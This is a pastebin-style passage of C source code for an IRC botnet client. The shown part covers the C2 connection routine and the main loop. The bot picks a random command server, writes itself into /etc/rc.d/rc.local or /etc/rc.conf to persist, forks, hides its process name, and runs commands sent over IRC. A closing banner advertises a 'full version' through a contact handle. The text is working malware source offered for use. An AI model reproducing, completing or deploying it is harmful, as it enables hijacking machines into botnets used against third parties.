  796. unsigned long ipaddr,start;
  797. int flag;
  798. struct hostent *hp;
  799. start:
  800. sock=-1;
  801. flag=1;
  802. if (changeservers == 0) server=servers[rand()%numservers];
  803. changeservers=0;
  804. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  805. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  806. if ((hp = gethostbyname(server)) == NULL) {
  807. server=NULL;
  808. close(sock);
  809. goto start;
  810. }
  811. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  812. }
  813. else srv.sin_addr.s_addr=inet_addr(server);
  814. srv.sin_family = AF_INET;
  815. srv.sin_port = htons(PORT);
  816. ioctl(sock,FIONBIO,&flag);
  817. start=time(NULL);
  818. while(time(NULL)-start < 10) {
  819. errno=0;
  820. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  821. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  822. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  823. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  824. return;
  825. }
  826. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  827. sleep(1);
  828. }
  829. server=NULL;
  830. close(sock);
  831. goto start;
  832. }
  833. int main(int argc, char *argv[]) {
  834. int on,i;
  835. char cwd[256],*str;
  836. FILE *file;
  837. #ifdef STARTUP
  838. str="/etc/rc.d/rc.local";
  839. file=fopen(str,"r");
  840. if (file == NULL) {
  841. str="/etc/rc.conf";
  842. file=fopen(str,"r");
  843. }
  844. if (file != NULL) {
  845. char outfile[256], buf[1024];
  846. int i=strlen(argv[0]), d=0;
  847. getcwd(cwd,256);
  848. if (strcmp(cwd,"/")) {
  849. while(argv[0][i] != '/') i--;
  850. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  851. while(!feof(file)) {
  852. fgets(buf,1024,file);
  853. if (!strcasecmp(buf,outfile)) d++;
  854. }
  855. if (d == 0) {
  856. FILE *out;
  857. fclose(file);
  858. out=fopen(str,"a");
  859. if (out != NULL) {
  860. fputs(outfile,out);
  861. fclose(out);
  862. }
  863. }
  864. else fclose(file);
  865. }
  866. else fclose(file);
  867. }
  868. #endif
  869. if (fork()) exit(0);
  870. #ifdef FAKENAME
  871. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  872. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  873. #endif
  874. srand((time(NULL) ^ getpid()) + getppid());
  875. char tempnick[50];
  876. char *strpref = PREFIX;
  877. char *genname = makestring();
  878.  
  879. strcpy(tempnick,strpref);
  880. strcat(tempnick,genname);
  881.  
  882. nick=tempnick;
  883. ident="Remote";
  884. user="Remote IRC Bot";
  885. chan=CHAN;
  886. key=KEY;
  887. pass=PASS;
  888. server=NULL;
  889. sa:
  890. #ifdef IDENT
  891. for (i=0;i<numpids;i++) {
  892. if (pids[i] != 0 && pids[i] != getpid()) {
  893. kill(pids[i],9);
  894. waitpid(pids[i],NULL,WNOHANG);
  895. }
  896. }
  897. pids=NULL;
  898. numpids=0;
  899. identd();
  900. #endif
  901.  
  902. con();
  903. Send(sock,"PASS %s\n", pass);
  904. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  905. while(1) {
  906. unsigned long i;
  907. fd_set n;
  908. struct timeval tv;
  909. FD_ZERO(&n);
  910. FD_SET(sock,&n);
  911. tv.tv_sec=60*20;
  912. tv.tv_usec=0;
  913. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  914. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  915. unsigned int *newpids,on;
  916. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  917. pids[on-1]=0;
  918. numpids--;
  919. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  920. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  921. free(pids);
  922. pids=newpids;
  923. }
  924. if (FD_ISSET(sock,&n)) {
  925. char buf[4096], *str;
  926. int i;
  927. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  928. buf[i]=0;
  929. str=strtok(buf,"\n");
  930. while(str && *str) {
  931. char name[1024], sender[1024];
  932. filter(str);
  933. if (*str == ':') {
  934. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  935. str[i]=0;
  936. strcpy(sender,str+1);
  937. strcpy(str,str+i+1);
  938. }
  939. else strcpy(sender,"*");
  940. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  941. str[i]=0;
  942. strcpy(name,str);
  943. strcpy(str,str+i+1);
  944. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  945. if (!strcasecmp(name,"ERROR")) goto sa;
  946. str=strtok((char*)NULL,"\n");
  947. }
  948. }
  949. }
  950. return 0;
  951. }
  952.  
  953. //
  954. // /$$ /$$ /$$ /$$ /$$$$$$ /$$
  955. // | $$ | $$ | $$ | $$ /$$__ $$ |__/
  956. // | $$ /$$$$$$ /$$$$$$ | $$ /$$ /$$$$$$ /$$$$$$$ | $$$$$$$ /$$ /$$ | $$ \__/ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ /$$$$$$
  957. // | $$ /$$__ $$ |____ $$| $$ /$$/ /$$__ $$ /$$__ $$ | $$__ $$| $$ | $$ | $$ /$$__ $$ /$$_____/ |____ $$| $$| $$__ $$ |____ $$
  958. // | $$ | $$$$$$$$ /$$$$$$$| $$$$$$/ | $$$$$$$$| $$ | $$ | $$ \ $$| $$ | $$ | $$ | $$ \ $$| $$ /$$$$$$$| $$| $$ \ $$ /$$$$$$$
  959. // | $$ | $$_____/ /$$__ $$| $$_ $$ | $$_____/| $$ | $$ | $$ | $$| $$ | $$ | $$ $$| $$ | $$| $$ /$$__ $$| $$| $$ | $$ /$$__ $$
  960. // | $$$$$$$$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$$| $$$$$$$ | $$$$$$$/| $$$$$$$ | $$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$| $$| $$ | $$| $$$$$$$
  961. // ________/ \_______/ \_______/|__/ \__/ \_______/ \_______/ |_______/ \____ $$ \______/ \______/ \_______/ \_______/|__/|__/ |__/ \_______/
  962. // /$$ | $$
  963. // For full version contact me at Cocaina#1162 | $$$$$$/
  964. // \______/
  965. //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement